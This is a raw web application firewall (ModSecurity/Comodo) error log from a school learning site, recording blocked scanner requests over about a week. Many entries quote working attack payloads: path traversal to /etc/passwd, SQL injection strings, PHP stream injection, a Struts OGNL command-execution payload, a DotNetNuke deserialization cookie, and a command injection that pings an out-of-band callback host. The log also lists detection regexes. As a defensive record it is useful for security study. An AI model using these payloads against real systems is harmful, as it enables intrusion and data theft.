[Sat Feb 28 16:25:58.345179 2026] [:error] [pid 39292:tid 39297] [client 206.189.87.31:58056] [client 206.189.87.31] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/storage/rfm/dialog.php"] [unique_id "aaKmlqIAO5fN7BxyqcEVjQAAAMM"]
[Sat Feb 28 17:27:46.004753 2026] [:error] [pid 39183:tid 39198] [client 206.189.87.31:58103] [client 206.189.87.31] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/adm/js/rfm/rfm/dialog.php"] [unique_id "aaK1EhCf4HvhVePw3LZH_AAAAAY"]
[Sat Feb 28 21:38:58.757409 2026] [:error] [pid 39185:tid 39254] [client 206.189.87.31:50984] [client 206.189.87.31] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/admin/backend/plugins/tiny-mce/file_manager/dialog.php"] [unique_id "aaLv8hVE-FfM89u7BQampQAAAIg"]
[Sat Feb 28 21:59:14.153694 2026] [:error] [pid 39183:tid 39216] [client 104.28.246.114:30698] [client 104.28.246.114] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/style.php"] [unique_id "aaL0shCf4HvhVePw3LZvOAAAABg"]
[Sun Mar 01 02:00:42.733567 2026] [:error] [pid 31190:tid 31219] [client 104.28.235.60:12702] [client 104.28.235.60] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/style.php"] [unique_id "aaMtShfvwGOholYpM1GSBwAAAM0"]
[Sun Mar 01 02:00:43.146640 2026] [:error] [pid 31190:tid 31214] [client 104.28.235.60:12703] [client 104.28.235.60] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/wp-content/style.php"] [unique_id "aaMtSxfvwGOholYpM1GSCgAAAMg"]
[Mon Mar 02 06:43:31.271747 2026] [:error] [pid 31257:tid 31266] [client 147.79.102.135:44312] [client 147.79.102.135] ModSecurity: Access denied with code 403 (phase 1). Match of "endsWith /wp-cron.php" against "REQUEST_FILENAME" required. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "103"] [id "217200"] [rev "2"] [msg "COMODO WAF: HTTP/1.1 POST request missing Content-Length Header||seqta-learn.carmel.wa.edu.au|F|2"] [data "/guest_auth/guestisup.php"] [severity "CRITICAL"] [tag "CWAF"] [tag "Protocol"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/guest_auth/guestIsUp.php"] [unique_id "aaTBE_-JFLfishX45N9rZwAAAQM"]
[Mon Mar 02 10:43:10.130418 2026] [:error] [pid 23872:tid 23880] [client 147.79.102.135:34364] [client 147.79.102.135] ModSecurity: Access denied with code 403 (phase 2). Match of "contains /wp-json/yoast/" against "REQUEST_URI" required. [file "/usr/local/apache/modsecurity-cwaf/rules/22_SQL_SQLi.conf"] [line "17"] [id "211540"] [rev "14"] [msg "COMODO WAF: Blind SQL Injection Attack||seqta-learn.carmel.wa.edu.au|F|2"] [data "Matched Data: WAITFOR DELAY found within REQUEST_URI: /service/~iufo/com.ufida.web.action.ActionServlet?action=nc.ui.iufo.release.ReleaseRepMngAction&method=updateDelFlag&TableSelectedID=1%27);WAITFOR+DELAY+%270:0:6%27--"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/service/~iufo/com.ufida.web.action.ActionServlet"] [unique_id "aaT5PkzkQFuA2qBk8UO8pgAAAYU"]
[Mon Mar 02 10:43:11.388484 2026] [:error] [pid 31257:tid 31265] [client 147.79.102.135:34398] [client 147.79.102.135] ModSecurity: Access denied with code 403 (phase 2). Match of "contains cpanel" against "REQUEST_URI" required. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "55"] [id "211190"] [rev "9"] [msg "COMODO WAF: Remote File Access Attempt||seqta-learn.carmel.wa.edu.au|F|2"] [data "Matched Data: /etc/ found within REQUEST_URI: /export/classroom-course-statistics?fileNames[]=../../../../../../../etc/passwd"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/export/classroom-course-statistics"] [unique_id "aaT5P_-JFLfishX45N8ytgAAAQI"]
[Mon Mar 02 10:43:14.635100 2026] [:error] [pid 23872:tid 23895] [client 147.79.102.135:34504] [client 147.79.102.135] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?i:(?:[\\\\x22'`](?:;? ?\\\\b(?:having|select|union)\\\\b ?[^\\\\s]| ?! ?[\\\\x22'`\\\\w])|\\\\b(?:c(?:onnection_id|urrent_user)|database)\\\\b ?\\\\(|\\\\bunion\\\\b[\\\\w(\\\\s]*?select\\\\b|\\\\buser ?\\\\(|\\\\bschema ?\\\\(|\\\\bselect.{0,399}?\\\\w?\\\\buser ?\\\\(|\\\\binto[\\\\s+]+(?:dump|o ..." at MATCHED_VAR. [file "/usr/local/apache/modsecurity-cwaf/rules/22_SQL_SQLi.conf"] [line "27"] [id "211650"] [rev "12"] [msg "COMODO WAF: Detects MSSQL code execution and information gathering attempts||seqta-learn.carmel.wa.edu.au|F|2"] [data "Matched Data: 1 UNION SELECT md5(999999999) as id from HrmResourceManager found within MATCHED_VAR: 1 UNION SELECT md5(999999999) as id from HrmResourceManager"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/upgrade/detail.jsp/login/LoginSSO.jsp"] [unique_id "aaT5QkzkQFuA2qBk8UO8vAAAAZQ"]
[Mon Mar 02 10:43:15.937610 2026] [:error] [pid 31257:tid 31266] [client 147.79.102.135:34520] [client 147.79.102.135] ModSecurity: Access denied with code 403 (phase 2). Match of "contains cpanel" against "REQUEST_URI" required. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "55"] [id "211190"] [rev "9"] [msg "COMODO WAF: Remote File Access Attempt||seqta-learn.carmel.wa.edu.au|F|2"] [data "Matched Data: /etc/ found within REQUEST_URI: /bsh.servlet.BshServlet"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/bsh.servlet.BshServlet"] [unique_id "aaT5Q_-JFLfishX45N8y1gAAAQM"]
[Mon Mar 02 14:27:12.434144 2026] [:error] [pid 59734:tid 59751] [client 104.28.160.76:50446] [client 104.28.160.76] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/style.php"] [unique_id "aaUtwJeWQx7ZQG9NybG6yQAAAU8"]
[Mon Mar 02 19:57:48.315476 2026] [:error] [pid 59602:tid 59689] [client 147.79.102.135:54760] [client 147.79.102.135] ModSecurity: Access denied with code 403 (phase 2). Match of "contains cpanel" against "REQUEST_URI" required. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "55"] [id "211190"] [rev "9"] [msg "COMODO WAF: Remote File Access Attempt||seqta-learn.carmel.wa.edu.au|F|2"] [data "Matched Data: /etc/ found within REQUEST_URI: /sys/ui/extend/varkind/custom.jsp"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/sys/ui/extend/varkind/custom.jsp"] [unique_id "aaV7PDMtSo_Fr0lHnSZNWgAAAJg"]
[Tue Mar 03 04:09:58.675375 2026] [:error] [pid 36785:tid 36853] [client 147.79.102.135:39464] [client 147.79.102.135] ModSecurity: Access denied with code 403 (phase 2). Match of "contains cpanel" against "REQUEST_URI" required. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "55"] [id "211190"] [rev "9"] [msg "COMODO WAF: Remote File Access Attempt||seqta-learn.carmel.wa.edu.au|F|2"] [data "Matched Data: /etc/ found within REQUEST_URI: /webadm/?q=moni_detail.do&action=gragh"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/webadm/"] [unique_id "aaXulnhJejauENG9qThl1QAAAIM"]
[Tue Mar 03 04:10:07.684552 2026] [:error] [pid 36785:tid 36856] [client 147.79.102.135:52760] [client 147.79.102.135] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\.(?:php|js|pl)(?:\\\\.|$)" at FILES:files[]. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "95"] [id "240020"] [rev "5"] [msg "COMODO WAF: Protecting WordPress Creative Contact Form Files folder||seqta-learn.carmel.wa.edu.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/wp-content/plugins/sexy-contact-form/includes/fileupload/index.php"] [unique_id "aaXun3hJejauENG9qThl4AAAAIY"]
[Tue Mar 03 04:10:20.028923 2026] [:error] [pid 36897:tid 36923] [client 147.79.102.135:34958] [client 147.79.102.135] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?i)php://(std(in|out|err)|(in|out)put|fd|memory|temp|filter)" at ARGS_NAMES:-d allow_url_include=on -d auto_prepend_file=php://input. [file "/usr/local/apache/modsecurity-cwaf/rules/21_PHP_PHPGen.conf"] [line "22"] [id "218420"] [rev "2"] [msg "COMODO WAF: PHP Injection Attack: I/O Stream Found||seqta-learn.carmel.wa.edu.au|F|2"] [data "Matched Data: php://input found within ARGS_NAMES:-d allow_url_include=on -d auto_prepend_file=php://input: -d allow_url_include=on -d auto_prepend_file=php://input"] [severity "CRITICAL"] [tag "CWAF"] [tag "PHPGen"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/index.php"] [unique_id "aaXurCZC69_8eM0Uouuo1gAAANU"]
[Tue Mar 03 14:31:26.729195 2026] [:error] [pid 36785:tid 36862] [client 147.79.102.135:49376] [client 147.79.102.135] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(\\\\n|\\\\r)" at ARGS_NAMES:{\\r\\n "name": "test"\\r\\n}. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "145"] [id "217291"] [rev "2"] [msg "HTTP Header Injection Attack via payload (CR/LF detected)||seqta-learn.carmel.wa.edu.au|F|2"] [data "Matched Data: \\x0d found within ARGS_NAMES:{\\x5cr\\x5cn \\x22name\\x22: \\x22test\\x22\\x5cr\\x5cn}: {\\x0d\\x0a \\x22name\\x22: \\x22test\\x22\\x0d\\x0a}"] [severity "CRITICAL"] [tag "CWAF"] [tag "Protocol"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/website/blog/"] [unique_id "aaaAPnhJejauENG9qTgLCgAAAIw"]
[Tue Mar 03 14:31:28.937482 2026] [:error] [pid 36897:tid 36923] [client 147.79.102.135:35672] [client 147.79.102.135] ModSecurity: Access denied with code 403 (phase 2). Match of "contains cpanel" against "REQUEST_URI" required. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "55"] [id "211190"] [rev "9"] [msg "COMODO WAF: Remote File Access Attempt||seqta-learn.carmel.wa.edu.au|F|2"] [data "Matched Data: /etc/ found within REQUEST_URI: /_search"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/_search"] [unique_id "aaaAQCZC69_8eM0Uouui7wAAANU"]
[Tue Mar 03 14:31:42.352205 2026] [:error] [pid 14042:tid 14068] [client 147.79.102.135:55680] [client 147.79.102.135] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\.(?:php\\\\d?|js|p(?:l|y)|rb|sh|(?:p|s|x|d)?html?\\\\d?|asp|exe|dll|com|htaccess)$" at ARGS:name. [file "/usr/local/apache/modsecurity-cwaf/rules/27_Apps_WPPlugin.conf"] [line "6447"] [id "228070"] [rev "3"] [msg "COMODO WAF: Shell upload vulnerability in Gravity Forms 1.8.19 and earlier||seqta-learn.carmel.wa.edu.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WPPlugin"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/"] [unique_id "aaaATmeHGCmSEiIBcK4sJwAAAZg"]
[Tue Mar 03 17:38:32.400107 2026] [:error] [pid 14042:tid 14053] [client 147.79.102.135:48634] [client 147.79.102.135] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?:\\\\b(?:c(?:d(?:\\\\b[^a-zA-Z0-9_]{0,}?[\\\\/]|[^a-zA-Z0-9_]{0,}?\\\\.\\\\.)|hmod.{0,40}?\\\\+.{0,3}x|md(?:\\\\b[^a-zA-Z0-9_]{0,}?\\\\/c|(?:\\\\.exe|32)\\\\b))|(?:echo\\\\b[^a-zA-Z0-9_]{0,}?\\\\by{1,}|n(?:et(?:\\\\b[^a-zA-Z0-9_]{1,}?\\\\blocalgroup|\\\\.exe)|(?:c|map)\\\\.exe)|t(? ..." at MATCHED_VAR. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "65"] [id "211210"] [rev "8"] [msg "COMODO WAF: System Command Injection||seqta-learn.carmel.wa.edu.au|F|2"] [data "Matched Data: |echo found within REQUEST_COOKIES:username: admin|echo%20`ping -c 3 d6i4k50tgktc5ljv12cg6xy93nr7uf8p3.oast.live`"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/"] [unique_id "aaasGGeHGCmSEiIBcK5OSgAAAYk"]
[Tue Mar 03 22:40:54.464755 2026] [:error] [pid 36897:tid 36906] [client 147.79.102.135:41158] [client 147.79.102.135] ModSecurity: Access denied with code 403 (phase 2). Match of "contains cpanel" against "REQUEST_URI" required. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "55"] [id "211190"] [rev "9"] [msg "COMODO WAF: Remote File Access Attempt||seqta-learn.carmel.wa.edu.au|F|2"] [data "Matched Data: /etc/ found within REQUEST_URI: /index.action?method:%23_memberAccess%3d@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,%23res%3d%40org.apache.struts2.ServletActionContext%40getResponse(),%23res.setCharacterEncoding(%23parameters.encoding%5B0%5D),%23w%3d%23res.getWriter(),%23s%3dnew+java.util.Scanner(@java.lang.Runtime@getRuntime().exec(%23parameters.cmd%5B0%5D).getInputStream()).useDelimiter(%23parameters.pp%5B0%5D),%23str%3d%23s.hasNext()%3f%23s.next()%3a%23parameters.ppp%5B0%5D,%23w.print(%23str..."] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/index.action"] [unique_id "aaby9iZC69_8eM0UouuwegAAAMQ"]
[Wed Mar 04 15:15:15.038469 2026] [:error] [pid 51359:tid 51466] [client 147.79.102.135:37884] [client 147.79.102.135] ModSecurity: Access denied with code 403 (phase 2). Match of "contains cpanel" against "REQUEST_URI" required. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "55"] [id "211190"] [rev "9"] [msg "COMODO WAF: Remote File Access Attempt||seqta-learn.carmel.wa.edu.au|F|2"] [data "Matched Data: /etc/ found within REQUEST_URI: /poc.jsp?cmd=cat+%2Fetc%2Fpasswd"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/poc.jsp"] [unique_id "aafcA_eZtYUOh-itqcqGlgAAAIM"]
[Wed Mar 04 17:25:37.684875 2026] [:error] [pid 63356:tid 63358] [client 147.79.102.135:49382] [client 147.79.102.135] ModSecurity: Access denied with code 403 (phase 2). Match of "rx ^(?:\\\\w+\\\\/[\\\\w\\\\-\\\\.]+)(?:;(?:charset=[\\\\w\\\\-]{1,18}|boundary=[\\\\w\\\\-]+)?)?$" against "REQUEST_HEADERS:Content-Type" required. [file "/usr/local/apache/modsecurity-cwaf/rules/30_Apps_OtherApps.conf"] [line "6743"] [id "243930"] [rev "2"] [msg "COMODO WAF: Remote code execution in Apache Struts versions 2.3.31 - 2.3.5 and 2.5 - 2.5.10 (CVE-2017-5638)||seqta-learn.carmel.wa.edu.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/"] [unique_id "aaf6kc5gxyQKbLIoyf_ErQAAAEA"]
[Thu Mar 05 05:34:52.937564 2026] [:error] [pid 62176:tid 62306] [client 147.79.102.135:53504] [client 147.79.102.135] ModSecurity: Access denied with code 403 (phase 2). Pattern match "<object.{0,}?(?:type|codetype|classid|code|data)\\\\/{0,}=" at REQUEST_COOKIES:DNNPersonalization. [file "/usr/local/apache/modsecurity-cwaf/rules/07_XSS_XSS.conf"] [line "137"] [id "213010"] [rev "4"] [msg "COMODO WAF: IE XSS Filters - Attack Detected.||seqta-learn.carmel.wa.edu.au|F|2"] [data "Matched Data: <objectinstancexsi:type= found within REQUEST_COOKIES:DNNPersonalization: <profile><itemkey=\\x22name1:key1\\x22type=\\x22system.data.services.internal.expandedwrapper`2[[dotnetnuke.common.utilities.filesystemutils],[system.windows.data.objectdataprovider,presentationframework,version=4.0.0.0,culture=neutral,publickeytoken=31bf3856ad364e35]],system.data.services,version=4.0.0.0,culture=neutral,publickeytoken=b77a5c561934e089\\x22><expandedwrapperoffilesystemutilsobjectdataproviderxmlns:xsd=\\x22..."] [severity "CRITICAL"] [tag "CWAF"] [tag "XSS"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/__"] [unique_id "aailfCNfTPJryi30JPmZsQAAAFY"]
[Thu Mar 05 12:26:21.735067 2026] [:error] [pid 41459:tid 41474] [client 147.79.102.135:52106] [client 147.79.102.135] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||seqta-learn.carmel.wa.edu.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/pandora_console/ajax.php"] [unique_id "aakF7edFBZEnZ3pzxrUy7gAAAUA"]
[Thu Mar 05 17:34:33.826521 2026] [:error] [pid 53350:tid 53390] [client 147.79.102.135:51834] [client 147.79.102.135] ModSecurity: Warning. Match of "pmFromFile userdata_wl_content_type" against "TX:0" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "17"] [id "210710"] [rev "5"] [msg "COMODO WAF: Request content type is not allowed by policy. Please update file userdata_wl_content_type.||seqta-learn.carmel.wa.edu.au|F|2"] [data "TX:0=text/x-gwt-rpc"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/avi/avigui/avigwt"] [unique_id "aalOKaO0Baxc5WFYeP3bJQAAAQ0"]
[Thu Mar 05 22:06:40.004829 2026] [:error] [pid 41459:tid 41491] [client 168.144.18.143:51844] [client 168.144.18.143] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 168.144.18.143, incrementing brute counter"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/wp-login.php"] [unique_id "aamN8OdFBZEnZ3pzxrVxEwAAAVE"]
[Thu Mar 05 22:06:40.887733 2026] [:error] [pid 8151:tid 8243] [client 168.144.18.143:52370] [client 168.144.18.143] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 168.144.18.143, incrementing brute counter"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/wp-login.php"] [unique_id "aamN8JO3dLEidct1HvCQkgAAAZc"]
[Fri Mar 06 01:34:08.461627 2026] [:error] [pid 27687:tid 27709] [client 147.79.102.135:40838] [client 147.79.102.135] ModSecurity: Access denied with code 403 (phase 2). Pattern match "<object.{0,}?(?:type|codetype|classid|code|data)\\\\/{0,}=" at REQUEST_COOKIES:DNNPersonalization. [file "/usr/local/apache/modsecurity-cwaf/rules/07_XSS_XSS.conf"] [line "137"] [id "213010"] [rev "4"] [msg "COMODO WAF: IE XSS Filters - Attack Detected.||seqta-learn.carmel.wa.edu.au|F|2"] [data "Matched Data: <objectinstancexsi:type= found within REQUEST_COOKIES:DNNPersonalization: <profile><itemkey=\\x22name1:key1\\x22type=\\x22system.data.services.internal.expandedwrapper`2[[dotnetnuke.common.utilities.filesystemutils],[system.windows.data.objectdataprovider,presentationframework,version=4.0.0.0,culture=neutral,publickeytoken=31bf3856ad364e35]],system.data.services,version=4.0.0.0,culture=neutral,publickeytoken=b77a5c561934e089\\x22><expandedwrapperoffilesystemutilsobjectdataproviderxmlns:xsd=\\x22..."] [severity "CRITICAL"] [tag "CWAF"] [tag "XSS"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/__"] [unique_id "aam-kEI2IG23EwU7sL8k5gAAAIg"]
[Fri Mar 06 02:13:01.603843 2026] [:error] [pid 48372:tid 48408] [client 147.79.102.135:53498] [client 147.79.102.135] ModSecurity: Access denied with code 403 (phase 2). Match of "contains cpanel" against "REQUEST_URI" required. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "55"] [id "211190"] [rev "9"] [msg "COMODO WAF: Remote File Access Attempt||seqta-learn.carmel.wa.edu.au|F|2"] [data "Matched Data: /etc/ found within REQUEST_URI: /fuel/pages/select/?filter=%27%2bpi(print(%24a%3d%27system%27))%2b%24a(%27cat%20/etc/passwd%27)%2b%27"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/fuel/pages/select/"] [unique_id "aanHrUWaQyQyfhXPRrYvVQAAAVM"]
[Fri Mar 06 07:28:32.665691 2026] [:error] [pid 8656:tid 8826] [client 147.79.102.135:47096] [client 147.79.102.135] ModSecurity: Access denied with code 403 (phase 2). Match of "contains /wp-json/yoast/" against "REQUEST_URI" required. [file "/usr/local/apache/modsecurity-cwaf/rules/22_SQL_SQLi.conf"] [line "17"] [id "211540"] [rev "14"] [msg "COMODO WAF: Blind SQL Injection Attack||seqta-learn.carmel.wa.edu.au|F|2"] [data "Matched Data: SELECT NULL,NULL,CONCAT_WS(0x203a20,USER found within REQUEST_URI: /plugins/editors/jckeditor/plugins/jtreelink/dialogs/links.php?extension=menu&view=menu&parent=\\x22%20UNION%20SELECT%20NULL,NULL,CONCAT_WS(0x203a20,USER(),DATABASE(),VERSION(),md5(999999999)),NULL,NULL,NULL,NULL,NULL--%20aa"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/plugins/editors/jckeditor/plugins/jtreelink/dialogs/links.php"] [unique_id "aaoRoJPxTG9Ff1TtP6P_GAAAAJA"], referer: seqta-learn.carmel.wa.edu.au
[Fri Mar 06 09:06:32.777958 2026] [:error] [pid 8656:tid 8824] [client 147.79.102.135:41962] [client 147.79.102.135] ModSecurity: Access denied with code 403 (phase 2). Pattern match "<object.{0,}?(?:type|codetype|classid|code|data)\\\\/{0,}=" at REQUEST_COOKIES:DNNPersonalization. [file "/usr/local/apache/modsecurity-cwaf/rules/07_XSS_XSS.conf"] [line "137"] [id "213010"] [rev "4"] [msg "COMODO WAF: IE XSS Filters - Attack Detected.||seqta-learn.carmel.wa.edu.au|F|2"] [data "Matched Data: <objectinstancexsi:type= found within REQUEST_COOKIES:DNNPersonalization: <profile><itemkey=\\x22name1:key1\\x22type=\\x22system.data.services.internal.expandedwrapper`2[[dotnetnuke.common.utilities.filesystemutils],[system.windows.data.objectdataprovider,presentationframework,version=4.0.0.0,culture=neutral,publickeytoken=31bf3856ad364e35]],system.data.services,version=4.0.0.0,culture=neutral,publickeytoken=b77a5c561934e089\\x22><expandedwrapperoffilesystemutilsobjectdataproviderxmlns:xsd=\\x22..."] [severity "CRITICAL"] [tag "CWAF"] [tag "XSS"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/__"] [unique_id "aaoomJPxTG9Ff1TtP6NcRwAAAI4"]
[Fri Mar 06 21:08:44.081145 2026] [:error] [pid 59237:tid 59254] [client 147.79.102.135:41780] [client 147.79.102.135] ModSecurity: XML parser error: XML: Failed parsing document. [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/soap.cgi"] [unique_id "aarR3OqfMSBs0nxOTxFSwwAAA4w"]
[Fri Mar 06 21:08:44.082291 2026] [:error] [pid 59237:tid 59254] [client 147.79.102.135:41780] [client 147.79.102.135] ModSecurity: Warning. Match of "eq 0" against "REQBODY_ERROR" required. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "27"] [id "210230"] [rev "2"] [msg "COMODO WAF: The request body could not be parsed. Possibility of an impedance mismatch attack. This is not a false positive.||seqta-learn.carmel.wa.edu.au|F|2"] [data "XML parser error: XML: Failed parsing document."] [severity "CRITICAL"] [tag "CWAF"] [tag "Protocol"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/soap.cgi"] [unique_id "aarR3OqfMSBs0nxOTxFSwwAAA4w"]
[Fri Mar 06 21:08:52.506531 2026] [:error] [pid 59239:tid 59269] [client 147.79.102.135:44092] [client 147.79.102.135] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?i:(?:[\\\\x22'`](?:;? ?\\\\b(?:having|select|union)\\\\b ?[^\\\\s]| ?! ?[\\\\x22'`\\\\w])|\\\\b(?:c(?:onnection_id|urrent_user)|database)\\\\b ?\\\\(|\\\\bunion\\\\b[\\\\w(\\\\s]*?select\\\\b|\\\\buser ?\\\\(|\\\\bschema ?\\\\(|\\\\bselect.{0,399}?\\\\w?\\\\buser ?\\\\(|\\\\binto[\\\\s+]+(?:dump|o ..." at MATCHED_VAR. [file "/usr/local/apache/modsecurity-cwaf/rules/22_SQL_SQLi.conf"] [line "27"] [id "211650"] [rev "12"] [msg "COMODO WAF: Detects MSSQL code execution and information gathering attempts||seqta-learn.carmel.wa.edu.au|F|2"] [data "Matched Data: -1 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,md5(2071327142),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL found within MATCHED_VAR: -1 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,md5(2071327142),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/index.php"] [unique_id "aarR5LG1EpnE909fvGeuQAAAA8A"]
[Fri Mar 06 22:07:45.421169 2026] [:error] [pid 59239:tid 59276] [client 147.79.102.135:36966] [client 147.79.102.135] ModSecurity: Access denied with code 403 (phase 2). Match of "contains cpanel" against "REQUEST_URI" required. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "55"] [id "211190"] [rev "9"] [msg "COMODO WAF: Remote File Access Attempt||seqta-learn.carmel.wa.edu.au|F|2"] [data "Matched Data: /etc/ found within REQUEST_URI: /"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/"] [unique_id "aarfsbG1EpnE909fvGe7iAAAA8c"]
